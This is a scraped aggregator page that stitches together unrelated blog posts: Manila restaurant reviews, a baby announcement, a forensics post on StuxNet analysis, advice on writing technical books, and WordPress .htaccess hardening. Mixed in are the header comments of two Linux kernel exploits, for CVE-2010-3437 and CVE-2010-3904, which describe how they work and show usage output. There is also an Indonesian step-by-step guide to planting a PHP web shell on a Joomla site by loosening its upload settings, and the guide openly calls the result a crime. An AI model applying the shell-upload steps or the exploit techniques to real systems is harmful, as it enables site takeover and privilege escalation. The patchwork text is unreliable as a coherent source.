|
|
|||||||
|---|---|---|---|---|---|---|---|---|
|
|
The babies are here! After 38 weeks waiting and 48 hours labor, Lara Lily and Gloria Sophie were born on Wednesday, Dec 29th, in Heidelberg.
We wish all our readers a great start into the year 2011!
Quattro Bar is not just for beer lovers. One could also go there for the food.
Gargantuan Red Horse and I beside a bibingka stand LOL
Quattro has teamed up with Unilever Food Solutions (UFS) to give loyal patrons and alcohol-loving foodies its signature dish: Japanese Chicken Adobo.
Two words: Beer Match. Love the generous portions. Love the sweet spicy sauce. Love the crispy garlic
Heh. "Extra Credits," one of those shows what uses lots of big words, gave "The Game OverThinker" a plug at the top of their newest episode.
I'm sure The OverThinker is totally grateful - or, at least he would be if I hadn't exiled him to a haunted forest in rural Minnesota ;)
LOL Fact about me: I enrolled in ABSCBN's summer dance workshops at the age of 20.
It was a lot of fun but there's a catch: I'm I'm the oldest grape in the bunch. My classmates were just 11-17 y/os so I was automatically promoted to the level of "Ate." Harharhar. Coming from Caloocan, my usual route to class include passing by Roces Avenue to get rid of the nasty Q.Ave traffic. I vividly
Bordeaux is one of the restaurants chosen by Unilever Food Solutions (UFS) to include in its roster of Manila's Signature Dishes 2010. Several dishes were handpicked from their menu to came up with a set that would best represent the restaurant's identity. Created by Chef Edward Narvaez, the set highlights Gambas ala Rochelle and Boeuf Bourguignon.
Gambas ala Rochelle
I'm thankful that
For those who frequent Makati malls, you'll probably be familiar with Glorietta 4's Outback Steakhouse. The mall's iconic facade has rows and rows of establishments that lures onlookers (shopaholics or not) to their den. Part of the club is Outback Steakhouse. It has become well-known for its generous portions and casual set-up making it a favorite among families, barkadas, and--in Glorietta
Terrace at the 5th is a relatively young restaurant (opened in 2008) quietly tucked along Greenbelt 5's strip. A collaboration between Chef Cecile Ysmael and Chef Cheryl Pineda, the place provides a feeling of warmth and relaxation.
The Terrace at the 5th
The green interiors and high ceiling exude a homey yet classy dining ambiance
Partnering with Unilever Food Solutions (UFS), the
Anyone who's followed this blog for a while is familiar with...call them my "rants"...against AV vendors and the information they post about malware; specifically, AV vendors and malware analysts have, right in front of them, information that is extremely useful to incident responders and forensic analysts, but they do not release or share it, because they do not recognize its value. This could be due to the AV mindset, or it could be due to their business model (the more I think about that, the more it sounds like a chicken-egg discussion...).
When I was on the IBM ISS ERS team, we did a good deal of malware response. In several instances, team members were on-site with an AV vendor rep, whose focus was to get a copy of the malware to his RE team, so that an updated signature file could be provided to the customer. However, in the time it takes to get all this done, the customer is hemorrhaging...systems are getting infected and re-infected, data is/maybe flooding off of the infrastructure, etc. Relying on known malware characteristics, our team members were able to assist in stemming the tide and getting the customer on the road to recovery, even in the face of polymorphic malware.
What I find useful sometimes is to look at malware write-ups from several sites, and search across the 'net (via Google) to see what others may be saying about either the malware or specific artifacts.
I watched this video recently, in which Bruce Dang of Microsoft's MSRC talked about analyzing StuxNet to figure out what it did/does. The video is of a conference presentation, and I'd have to say that if you get get past Bruce saying "what the f*ck" way too many times, there's some really good information that he discusses, not just for malware RE folks, but also for forensic analysts. Here are some things I came away with after watching the video:
Real analysis involves symbiotic relationships. I've found this to be very true in some of the analysis I've done. I have worked very closely with our own RE guy, giving him copies of the malware, dependency files (ie, DLLs), and information such as paths, Registry keys, etc. In return, I've received unique strings, domain names, etc., which I've rolled back into iterative analysis. As such, we've been able to develop analysis that is much greater than the sum of its parts. This is also good reason to keep a copy of Windows Internals on your bookshelf, and keep a copy of Malware Analyst's Cookbook within easy reach.
Malware may behave differently based on the eco-system. I've seen a number of times where malware behaves differently based on the eco-system it infects. For example, Zeus takes different steps if the infected user has Administrator rights or not. I've seen other malware infections be greatly hampered by the fact that the user who got infected was a regular user and not an admin...indicating that the variant does not have a mechanism for check for and handling different privilege levels. Based on what Bruce discussed in his presentation, StuxNet takes different steps depending upon the version of Windows (i.e., XP vs. Vista+) that its running on.
Task Scheduler. I hear the question all the time, "what's different in Windows 7, as compared to XP?" Well, this seems to be a never ending list. Oy. Vista systems (and above) use Task Scheduler 2.0, which is different from the version that runs on XP/Windows 2003 in a number of ways. For example, TS 1.o .job files are binary, whereas TS 2.0 files are XML based. Also, according to Bruce's presentation, when a task is created, a checksum for the task .job file is computed and stored in the Registry. Before the task is run, the checksum is recalculated and compared to the stored value, to check for corruption. Bruce stated that when StuxNet hit, the hash algorithm used was CRC32, and that generating collisions for this algorithm is relatively easy...because that's part of what StuxNet does. Bruce mentioned that the algorithm has since been updated to SHA-256.
The Registry key in question is:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
A lot more research needs to be done regarding how forensic analysts (and incident responders) can parse and use the information in this key, and in its subkeys and values.
MOF files. Bruce mentioned in his presentation that Windows has a thread that continually polls the system32\wbem\mof directory looking for new files, and when it finds one, runs it. In short, MOF files are compiled scripts, and StuxNet used such a file to launch an executable; in short, put the file in as a Guest, the executable referenced in the file gets run as System.
Management needs actionable information. This is true in a number of situations, not just the kind of analysis work that Bruce was performing. This also applies to IR and DF tasks, as well...sure, analysts can find a lot of "neat" and extremely technical stuff, but the hard part...and what we're paid to do...is to translate that wealth of technical information into actionable intelligence that the customer can use to make decisions, within their environment. What good does it do a customer if you pile a 70 page report on them, expecting them to sift through it for data, and figure out how to use it? I've actually seen analysts write reports, and when I've asked about the significance or usefulness of specific items, been told, "...they can Google it." Uh...no. So, through experience, Bruce's point is well-taken...analysts sift through all of the data to produce the nuggets, then filter those to produce actionable intelligence that someone else can use to make decisions.
A final thought, not based specifically on the video...it helps forensic analysts and incident responders to engage sources that are ancillary to their field, and not directly related specifically to what we do every day. This helps us to see the forest for the trees, as it were...
/*
* cve-2010-3437.c |
* |
* Linux Kernel <> |
* Jon Oberheide |
* http://jon.oberheide.org |
* |
* Information: |
* |
* https://bugzilla.redhat.com/show_bug.cgi?id=638085 |
* |
* The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a |
* pktcdvd_device from the global pkt_devs array. The index into this |
* array is provided directly by the user and is a signed integer, so the |
* comparison to ensure that it falls within the bounds of this array will |
* fail when provided with a negative index. |
* |
* Usage: |
* |
* $ gcc cve-2010-3437.c -o cve-2010-3437 |
* $ ./cve-2010-3437 |
* usage: ./cve-2010-3437 |
* $ ./cve-2010-3437 0xc0102290 64 |
* [+] searching for pkt_devs kernel symbol... |
* [+] found pkt_devs at 0xc086fcc0 |
* [+] opening pktcdvd device... |
* [+] calculated dereference address of 0x790070c0 |
* [+] mapping page at 0x79007000 for pktcdvd_device dereference... |
* [+] setting up fake pktcdvd_device structure... |
* [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls... |
* [+] dumping kmem to output... |
* |
* 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ... |
* 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ... |
* |
* Notes: |
* |
* Pass the desired kernel memory address and dump length as arguments. |
* |
* We can disclose 4 bytes of arbitrary kernel memory per ioctl call by |
* specifying a large negative device index, causing the kernel to |
* dereference to our fake pktcdvd_device structure in userspace and copy |
* data to userspace from an attacker-controlled address. Since only 4 |
* bytes of kmem are disclosed per ioctl call, large dump sizes may take a |
* few seconds. |
* |
* Tested on Ubuntu Lucid 10.04. 32-bit only for now. |
*/ |
#include |
#include |
#include |
#include |
#include |
#include |
#include |
#include |
#include |
#include |
#include
Download Full
In what sometimes feels like a past life after a heavy day dealing with botnets, I remember fondly many of the covert and physical penetration tests I've worked on or had teams engaged in.
Depending upon the goals of the penetration test, things like installing physical keyloggers on the receptionists computer (doing this surreptitiously while engaged in conversation with the receptionist - hands dangling down the back of the computer...) in order to capture emails and physical door entry codes, dropping a little wireless Compaq/HP iPaq in the plant-pot for a day of wireless sniffing etc., dropping "malware" infected USB keys in the office car park in the morning (waiting for the "finders" to check them out on their office computer by lunchtime) and pretending to be official fire extinguisher inspectors and getting access (and a little alone-time) in their server farm.
Anyhow, today I spotted an interesting gadget that would have been pretty helpful on many of these physical engagements - The PlugBot. It's a wireless PC inside what looks like a plug adapter.
If you're not a penetration tester - perhaps you should read about it anyway. Something to "keep an eye on" within your own organization then.
/*
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit |
* CVE-2010-3904 |
* by Dan Rosenberg |
* |
* Copyright 2010 Virtual Security Research, LLC |
* |
* The handling functions for sending and receiving RDS messages |
* use unchecked __copy_*_user_inatomic functions without any |
* access checks on user-provided pointers. As a result, by |
* passing a kernel address as an iovec base address in recvmsg-style |
* calls, a local user can overwrite arbitrary kernel memory, which |
* can easily be used to escalate privileges to root. Alternatively, |
* an arbitrary kernel read can be performed via sendmsg calls. |
* |
* This exploit is simple - it resolves a few kernel symbols, |
* sets the security_ops to the default structure, then overwrites |
* a function pointer (ptrace_traceme) in that structure to point |
* to the payload. After triggering the payload, the original |
* value is restored. Hard-coding the offset of this function |
* pointer is a bit inelegant, but I wanted to keep it simple and |
* architecture-independent (i.e. no inline assembly). |
* |
* The vulnerability is yet another example of why you shouldn't |
* allow loading of random packet families unless you actually |
* need them. |
* |
* Greets to spender, kees, taviso, hawkes, team lollerskaters, |
* joberheide, bla, sts, and VSR |
* |
*/ |
#include |
#include |
#include |
#include |
#include |
#include |
#include |
#include |
#include |
#include |
#include |
#define RECVPORT 5555 |
#define SENDPORT 6666 |
int prep_sock(int port)
Download Full
Ada simple trik untuk mengupload shell di cms joomla, mungkin udah banyak yang tahu tentang ini. Sebenarnya memakai aplikasi kayak ninja explorer juga bisa sih, tapi kalau koneksi kita lemot kan agak lumayan merepotkan ,atau kalau gak si admin setting biar tidak ada aplikasi yang boleh di install, nah ini caranya gan, lebih praktis juga loh. Langsung aja lah..
Persiapan pertama sudah ada site joomla yang jadi target, sama siapkan shell/ injector. Kalau semua sudah beres langsung saja kita praktekkan.
jangan lupa kopi + rokok, biar lancar awkakwkakwkawk
1. Kalau sudah masuk di cmsnya kan ada tuh menu-menu atau kotak-kotak dibagian tengah, atau klik site > pilih Global Configuration, kalau udah Pilih System, lihat gambar dibawah ini.
2. Pada bagian Media Settings, Legal Extensions (File Types) kita harus merubah salah satu ekstensi disitu contoh yang bisa kita rubah adalah ODP atau ODG ada juga JPG. Rubahlah jadi PHP, kalau sudah liaht pada bagian Restrict Uploads dan Check MIME Types, kalau default itu di centang ke YES, nah kita rubah lah jadi NO.
Perhatiin pada bagian Legal MIME Types nah pada bagian disitu kan banyak tuh tulisan kayak image/jpeg,image/gif,image dll lah, pilih pada bagian belakang klo gak salah X-ZIP atau yang mana aja terserah pokoknya rubah jadi PHP. Kalau sudah di save then NEXT STEP.
3. Pada langkah nomor 2 kalau berahasil ada tulisan �The Global Configuration details have been updated.� klo gagal �An Error has occurred! Unable to open configuration.php file to write!�.Kalau ternyata gagal, anda bisa melakukan cara lain dengan mengganti source index.php templates dengan source injector kamu.
disini kita ngomongin yang berhasil, kalau berahasil pilih MEDIA MANAGER. Perhatikan pada bagian bawah, Upload file injector atau shell anda. misalkan : shell.php
kalau sukses, hasilnya seperti screen shoot dibawah ini..
4. Selanjutnya pemanggilan URL shell nya seperti ini: http://[localhost]/images/shell.php
Mudah kan,gagaga...selamat menikmati hasil kejahatan anda..
Just share buat newbie,yang udah mastah dilarang keras baca ini artikel..!!
Kembali lagi ma ane gan, kali ini kita membahas soal keamanan wordpress,kita membahas salah satu keamanan seperti judul di atas, dengan file .htaccess. Mungkin banyak yang sudah tahu atau yang sudah membahas tentang ini,tapi tidak ada salahnya jika mau dishare lagi.. 
Mari kita bahas tentang file .htaccess,apa itu .htacess..? file .htaccess adalah file teks ASCII yang terletak di dalam root direktori biasanya �public_html� atau klo hosting free di �htdocs� yang sering digunakan untuk mengubah pengaturan default dari web server yang digunakan. Sehingga manfaat dari file .htaccess ini besar sekali. Dan merupakan Web Utility yang sering digunakan oleh para web master.
lalu apa saja yang harus di amankan di wordpress.?bnyak gan,conthnya /wp-admin,/wp-includes,wp-login.php,wp-db.php,wp-config.php ./etc..
langsung aja gan, source code yang nanti ane kasih agan tinggal copy lalu paste aja di .htaccess,udah tahu kali..
Akses halaman /Wp-Admin Login dengan Private IP/Single IP
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName �Access Control�
AuthType Basic
order deny,allow
deny from all
# IP address sobat
allow from **.***.***.**
Coba perhatikan sama huruf yang berwarna merah itu gan, **.***.***.** rubah sama IP agan,jadi khusus satu IP aja yang bisa akses halaman itu..
Terus gimana dengan wp-login.php itu juga sama kan buat login..? Hmm tenang gan, kita lanjut ke wp-login.php, pake private IP juga..
Order deny,allow
Deny from All
Allow from **.***.***.**
sama seperti diatas, ganti tulisan yang berwarna merah pake IP agan, kalau buat yang IP nya dinamis mending tidak usah, coz itu cuma buat satu IP doanq,
Amankan Wp-Config.php
Lanjut gan,sekarang kita mw amanin file wp-config.php,dh tahu kan wp-config.php itu kegunaanya,maka dari itu mari kita amankan..
nih codenya..
# protect wpconfig.php
order allow,deny
deny from all
Selajutnya kita bahas kebagian direktori Wp-includes,nah klo kata orang-orang sih di dalem direktori wp-includes itu ada wp-db.php yang bisa ngebongkar semua data penting kita gan,
buat jaga-jaga wp-includes dari serangan yang gk berwenang buat file index.php atau index.html di direktori itu gan. Untuk wp-db.php coba agan akses, adanya di wp-includes/wp-db.php pasti terjadi error gitu kan, klo emang disitu kelemahanya marilah kita tutupi, caranya buat file .htaccess dibagian di rektori wp-includes, terus isi sama code ini..
RewriteEngine On
RewriteBase /
RewriteRule .*\.php$ readme.html [L]
Perhatikan sama tulisan yang berwarna merah itu, itu file readme dari wordpress, nah kita coba mengalihkan file wp-db.php ke file readme.html dengan cara di atas.
Ok selesai,semoga bermanfaat dan berguna..
Okay, by now, you've probably/likely decided to write that book, and that you've opted to do so through a publisher to get it on the bookshelves and onto Kindles and other ereaders. Remember, this isn't the only way to get something published, but it is one of the only ways to get your book published and have someone else take care of getting it on shelves and in front of your intended audience through Amazon, etc. Your alternatives include self-publishing through sites like Lulu.com, or simply writing your "book" and printing your manuscript to a PDF file, rather than a printer. There are advantages and disadvantages to each approach, but we're going to go with the assumption that you'll be working with a publisher.
Working with the publisher
When you're working with the publisher, don't set your expectations (at all, or too high) of what that's like ahead of time. Remember, the publisher's staff are people, too, and may be working with multiple authors. You very likely won't be the only author that they're working with, nor the only schedule. In addition, remember that in the current economy many people are wearing multiple hats in their jobs...so the editor you're dealing with may not get your email because they're traveling or at a book show. I've worked with staff who, in 2009/2010, do not have remote access to their email (can you imagine that??), so I won't hear back from them for weeks at a time.
While working with the publisher, I've had editors and even editors assistants changed part way through the writing process. The result was that chapters that I had sent in for review could no longer be found. I know this sounds like a bit much, but keep track of what you send in, when, and to whom. This can really help...particularly in instances where you have to resend things.
One of the things I've run into several times is that I've submitted what I thought was everything...DVD contents, revised chapters, etc...and asked the staff I was working with if everything was received, and if I needed to provide anything else. I'd been told, no, that's everything...only to be contacted three weeks later and told that something else was needed (review the proofs, provide a bio, etc.). The key to this is to see what's in other books, and keep a list of what you've provided...have you written a preface yet? A bio? How about that acknowledgment or the dedication page?
In short, be flexible. Focus on meeting your schedule in the contract. If you're not going to meet the schedule for some reason, do the professional thing and let them know ahead of time. Don't worry about what anyone else does or is doing. In the long run, it'll help.
Working with reviewers
When you're working with reviewers, keep in mind what their role is in the process. They're generally there to review your work, so don't take what they say or comment on personally.
There are generally two kinds of reviewers...those who do the grammar, spelling and formatting review for the publisher (they tend to work for the publisher), and those who are supposed to review your work from a technical perspective, to ensure that it's accurate (although why you'd put that amount of time into writing something that is completely off base, I have no idea). Generally speaking, whatever the grammar/spelling reviewer suggests is probably advisable to accept. However, this won't always be the case, particularly when you've written a turn of phrase that you really want to use, or are using acronyms specific to your field. I remember that I had an issue with the acronym "MAC"...did it refer to file "MAC" times, or to a NIC's "MAC" address? Kind of depended on the chapter and context.
As far as your technical reviewers go, that's another story. There's no reason that you have to accept any of their proposed changes, or follow what their comments say. Hey, I know that's kind of blunt, but that's the reality of it. In every book I've worked on, to my knowledge, the technical reviewer has had no prior contact with me, my book proposal, or my thought process prior to getting my draft chapters. Therefore, they are missing a great deal of context...and in some cases, their comments have made little sense when you consider the overall scope and direction of the book.
For some reason, the publishing process seems to be something of a maze of Chinese walls. You get an author who's writing a technical book, working with a publisher who knows publishing, but not the subject that's being addressed. One person reviewing the book and working for the publisher knows spelling, grammar, and formatting, and that's good...but often times, the technical reviewer may not know a great deal about the subject being addressed, and knows nothing at all about the author, the goals and direction of the book, or much in the way of overall context. In my mind, this is just a short-coming of the process, and something that you need to keep in mind. I've worked with a LOT of folks with respect to writing technical reports, and there are generally two things that most folks do with suggested changes and comments...they either accept them all unconditionally, or they delete and ignore them. I would suggest that when you are going through the document that you receive back from the technical reviewer, make your changes and add your own comments to theirs, justifying your actions. Then save the document, copy it, and (if it's written in MSWord) run the copy through the document inspection process, accepting the edits and removing comments. That way, you have a clean copy to send back, but you also have a clear record of what was suggested and what you chose to do about it.
Another thing to keep in mind is that people have varying schedules...if you submit a couple of chapters and you feel that you aren't getting much in the way of a review, or one that's technical, get in touch with the editor and request someone else. Or, suggest someone to them up front...after all, if you really know the subject that you're writing about, you will likely know someone else in the field who (a) knows enough about it to review your work, (b) has the time to do a good review, and (c) has the interest in working with you. I've had folks offer to review my work completely aside from the publisher...that's okay, too, but it also means you may submit a chapter and not hear back at all. Remember, in the technical field, you don't make enough money to support yourself writing books, so neither writing nor reviewing books is a full-time job, and people have day jobs, too.
Working with co-authors
Writing a book as the sole author can be tough, as it is a lot of work...but I think that writing a book as multiple authors, particularly when none of the authors ever actually sit in a room together, is much harder. There are a lot of decisions that need to be made and coordinated ahead of time, and continually revisited throughout the process. Again, writing books in this field is NOT a full-time job...as such, people's day jobs and lives tend to take precedence. Family illness, holidays, vacations, etc., all play a role in the schedule that needs to be worked out ahead of time.
Another thing to consider is that someone has to take the lead on tone...or not. You need to decide early on what the division of labor will be (split up chapters or sections), and whether or not you feel it's important to have a single tone throughout the book. There will be times when it makes sense to have a single tone, and there will be other times when it's pretty clear that you aren't going to have a single tone, as the various authors take the lead on the chapters for which they have the most expertise in the subject matter.
Providing Materials With Your Book
I'm one of those folks who writes some of my own code, and I tend to create my own tools, whether they be a batch file or a Perl script. As such, it's helpful to others if I make those tools available to them in some manner, and this is often done by putting those tools on a CD or DVD included with the book. I think that a lot of times, this increases the value of the book, but it can also be a bit difficult to deal with...so how you provide the materials is something to consider up front. Another item that a lot of folks find interesting and very valuable is "cheat sheets"...if you list or explain a process in your book, and it covers a good portion of a chapter, it might be a good idea to provide a cheat sheet that the reader can print out (perhaps modify to meet their own needs) and use. How you intend to provide these, and other materials (i.e., videos that show the viewer how to do something step-by-step, etc.) is something that you need to consider ahead of time.
The point is that if there are materials you're going to refer to in your book, you have to figure out ahead of time how you're going to provide them. In my experience, there's two ways you can do this...provide the materials on the DVD that comes with the book, or provide them separately. I have usually opted to provide the materials on a DVD, but after having written a couple of books, I think I'm going to move to something completely separate, and provide the materials online.
I have decided to do this for a couple of reasons. One is that there's always someone out there who ends up purchasing a copy of the book that mysteriously doesn't have a DVD. Or they loose the DVD. Or they leave it at home or at work, when they need it in the other location. Then there's the folks who purchase ebooks for their Kindle or other ereader, and never got the email that says, "...go here to download additional content." Or they did, but the publisher modified their infrastructure so now the instructions or path aren't valid. And, of course, there's always the person who's going to contact you directly because they want to ensure that they have the latest copy of the materials.
My thinking is that a lot of these issues can be avoided if you choose a site like Google Code or something else that is appropriate (and relatively stable/permanent) for hosting your additional materials. That way, you can control what's most up-to-date and not have to rely on someone else's schedule for that. You can refer to the actual tools (and other materials) in the book, so that having the book itself makes the tools more valuable, but by providing them on the web, you can include "here are the absolute latest, newest, most up to date copies" on the page where the reader will go to download those tools.
Self-Marketing
Blogging is a great way to get started and get the feel for writing, without the constraints of editing (and things like spelling, grammar, etc.). Face it, some folks don't take criticism of any kind well, and don't put a great deal stock in checking their own spelling and grammar...so blogging is sort of a way to get into writing without having someone looking over your shoulder. It's also a great way for some folks to realize how important that sort of thing is.
Blogging is also a great way to self-market your book, prior to and following publication. It's a great way to start talking about the book, to answer questions that you get about your book and materials, address errata, etc. In some ways, a blog can also lay the groundwork for a second edition, or even just for your next effort, as you get feedback, read reviews, post new ideas, etc. For example, if you start to see that your book on forensic analysis is linked to another blog on malware reverse engineering, with that author making comments about what you've written (positive or negative), that could be a good indicator for you...what do you need to improve on, expand on, and what were you dead on with in your book?
Take the lead on marketing your book. Present the publisher with ideas, and take the lead on getting the word out there (assuming that that's what you want). When WFA 2/e was coming out, I was excited because this was the first book in a new direction that Syngress was going, something that was exemplified by the new cover design. That summer, the SANS Forensic Summit was going to be in Washington, DC, and I was attending as a speaker. As I looked more and more into the conference, and who was speaking and attending, I counted almost half a dozen Syngress authors who would be there, all of whom had the work "forensics" in their book title. I contacted the publisher to find out if they'd have a bookstore...I thought, between sessions I could answer questions about the book. Well, it turns out that they had NO PLANS for a bookstore!! I thought (and said to them), you've GOT to be kidding me! Here's a conference with "forensics" in the title, and all these authors of "forensics" books will be there...to me, it was a total marketing coup. The short story is that the editor was there with books on a table and it was a huge success for everyone.
Final Thoughts...
And now, some final thoughts as I close out this series of posts.
I hope that in reading these posts, you've enjoyed them and at the same time gotten something out of them. I tend to take something of a blunt approach, in part because I don't want to sugarcoat things for someone who's considering writing a technical book. Yes, it is hard...but if you know up front what you may be facing, you're less likely to let it slow you down. One of the hardest things about writing books is that you're rarely, if ever, face-to-face with anyone from the publisher's staff when discussing your book. In fact, you're rarely face-to-face with anyone throughout the process.
One of the misconceptions a lot of folks who have never written a book have about authors is that they retain some modicum of control over what happens with the book once it's submitted to the printer. Nothing could be further from the truth. When WFA 1/e was released by Syngress, a PDF version of the book was available...for the first couple of weeks, it was provided with each copy of the book purchased through the Syngress web site. After that, it was available for purchase. Later, Syngress was purchased by Elsevier, a company out of Europe that produced all e-format versions of its books EXCEPT PDF. The author's role in any of that, particularly in the availability of a PDF version of their book, is zero. And I say that only because there's nothing less than zero.
Another misconception that I've run across is that most folks think that book authors have access to endless resources, or that somehow, the publishing company will provide those resources. This simply isn't the case. When I submitted the proposal for the Registry forensics book, all of the reviews came back saying that I needed to include discussion of the use of commercial tools, such as EnCase and FTK. Well, the short answer was "no"; the long answer was that I neither have access to, nor have I been able to obtain a temporary license for either...and none of the reviewers was offering such a license. In all fairness, I will say that I was offered a temporary license to one of the commercial tools, but by the time that offer was available, I was too far into the writing process to go back and add that work and material into the book. I would have been particularly time consuming because I don't use those tools regularly. Anyway, my point is that when I have written my books, I tend to do so based on my own experiences, or those interesting experiences that others have shared. I tend not to write about ediscovery, because I've never done it. I likely won't be writing about Registry analysis of a Windows-powered car or Windows 7 phone, because I neither own nor have access to either, nor do I have the tools available to work with either. Like most authors, I don't have access to massive data centers for testing various operating systems and application installations across numerous configurations.
Keep in mind that your book is not going to be everything to everyone. You're going to have critics, and you're also going to have "armchair quarterbacks". You're going to have people who post to public forums that you "should've done this...", and not once have a good thing to say about your work. You're going to have folks who will email you glowing commendations for what you've done, but not post them publicly...even when they purchased your book based on a publicly-posted review. Don't let any of this bother you. One of my good friends who's also written a book has received some not-so-glowing criticism, to which he's responded, "...come see me when you've published a book." In short, don't let criticism get you down, and don't let it be an obstacle that prevents you from writing in the first place.
Finally, I want to say once again that writing technical books is tough. It's tough enough if you're a single person and not at all used to writing. If you're married (particularly newly married) and/or have small children, it can be logarithmically harder, and it will require even more discipline to write. However, it can also be extremely rewarding. Seeing your work published and sitting on a bookshelf is very rewarding. Think about it...you've completed and achieved something that few others have attempted. If you've put the effort in and done the best you can, you should take pride in what you've done...and don't let the little things becomes insurmountable obstacles that prevent you from even trying.
|
|
||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
